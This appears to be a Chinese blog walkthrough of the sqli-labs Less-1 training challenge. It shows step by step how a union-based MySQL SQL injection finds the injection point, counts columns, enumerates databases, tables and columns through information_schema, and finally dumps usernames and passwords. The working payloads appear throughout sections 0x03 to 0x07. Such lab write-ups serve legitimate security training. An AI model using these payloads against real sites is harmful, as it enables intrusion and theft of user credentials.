SQL注入練習(xí)(Basic Challenges):Less-1 Single qutos - String

題目地址:http://43.247.91.228:84/Less-1/

0x01 先看題目的描述,查找注入點(diǎn)

初始頁面

welcome 下面說輸入ID作為帶有數(shù)字值的參數(shù)。首先令?id=1嘗試下:有顯示兩列。

?id=1

嘗試著讓返回頁面報(bào)錯(cuò),可以嘗試加單引號(hào),雙引號(hào),括號(hào)等, 發(fā)現(xiàn)加單引號(hào)報(bào)錯(cuò)并返回錯(cuò)誤信息。

返回錯(cuò)誤信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' '1'' LIMIT 0,1 ' at line 1

這個(gè)位置就應(yīng)該是注入點(diǎn)了。

0x02 分析后臺(tái)查詢語句的結(jié)構(gòu),使其閉合

不管報(bào)錯(cuò)的兩端的單引號(hào),只分析'1'' LIMIT 0,1,1和'? 是我們輸入的,后端代碼很可能是

select name,password where id='$id' LIMIT 0,1

我們可控的參數(shù)只有$id,所以我們輸入數(shù)字,加上單引號(hào)之后使id閉合之后。加上#(%23或者--+)屏蔽掉原來的' LIMIT 0,1 。 令?id=1' %23, 成功返回結(jié)果。

閉合之后顯示的結(jié)果

0x03 進(jìn)行聯(lián)合查詢,查看是否能執(zhí)行查詢語句

聯(lián)合查詢要求查詢的列數(shù)相同,首先得檢測列數(shù),有兩種方法檢測:union select加不同列數(shù)的數(shù)字和利用order by

1. 利用union select加不同列數(shù)的數(shù)字

從1列開始,直到列數(shù)相同返回正確的顯示為止

列數(shù)不匹配,顯示錯(cuò)誤信息
列數(shù)匹配,有回顯

2. 利用order by進(jìn)行測試

order by 加數(shù)字。如果數(shù)字小于列數(shù),不報(bào)錯(cuò);如果數(shù)字大于列數(shù),將報(bào)錯(cuò)。(不報(bào)錯(cuò)的最大數(shù)即為列數(shù))猜測一個(gè)稍微大點(diǎn)的數(shù)字,用二分法可以比較快速的定位到列數(shù)。(可以先執(zhí)行order by 1,如果報(bào)錯(cuò)說明語句存在錯(cuò)誤)

數(shù)字大于列數(shù),報(bào)錯(cuò)
數(shù)字小于等于列數(shù),不報(bào)錯(cuò)

3. 找到列數(shù)之后,執(zhí)行union select查詢能否執(zhí)行函數(shù)

我們注意到,使用union select 1,2,3 時(shí),頁面將2和3顯示了出來。我們用簡單函數(shù)database(),或者user() 來代替2和3的位置,看是否可以執(zhí)行函數(shù)。

返回了當(dāng)前數(shù)據(jù)庫和用戶名

0x04 爆出所有數(shù)據(jù)庫

這里插入一段前置知識(shí):

1. 數(shù)據(jù)庫存儲(chǔ)的結(jié)構(gòu)

層級(jí)依次是,數(shù)據(jù)庫>>表>>字段>>值。具體而言,我們的MySQL數(shù)據(jù)庫中一般會(huì)包含許多數(shù)據(jù)庫,每個(gè)數(shù)據(jù)庫中又會(huì)包含幾個(gè)表,每個(gè)表又會(huì)有多個(gè)字段,字段又會(huì)對(duì)應(yīng)多個(gè)值。

2. MySQL數(shù)據(jù)庫中的重要表

MySQL數(shù)據(jù)庫中有個(gè)重要的information_schema庫,庫中包含三個(gè)重要的表:

? SCHEMATA : 這個(gè)表包含了所有數(shù)據(jù)庫的名字

? TABLES : 這個(gè)表包含了所有表的名字

? COLUMNS : 這個(gè)表包含了所有字段的名字

schemata表,包含所有的數(shù)據(jù)庫
tables表,包含所有的表名
column表,包含了所有的列

我們可以嘗試這列出所有的數(shù)據(jù)庫:

payload=?id=-1' union select 1,2,schema_name from information_schema.schemata %23

顯示了第一條數(shù)據(jù)庫

上面的操作只顯示了數(shù)據(jù)庫的第一條,也許是因?yàn)閘imit 0,1 的原因,限制了只能顯示一條,下面我們使用group_concat()函數(shù),把所有結(jié)果變成一條。

payload=?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata %23

成功顯示出了所有的數(shù)據(jù)庫

0x05 查詢當(dāng)前數(shù)據(jù)庫的所有表

有了上面的經(jīng)驗(yàn),我們稍作修改即可查詢:

payload=?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23

返回當(dāng)前數(shù)據(jù)庫所有表名

0x06 查詢敏感表下的列,尋找敏感字段

我們對(duì)users表中的信息比較感興趣,從users表中進(jìn)行查詢。

payload=?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users' %23

查詢出敏感字段

0x07 查詢敏感字段下的值

payload= ?id=-1' union select 1,group_concat(username),group_concat(password) from users %23

成功讀出敏感信息
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容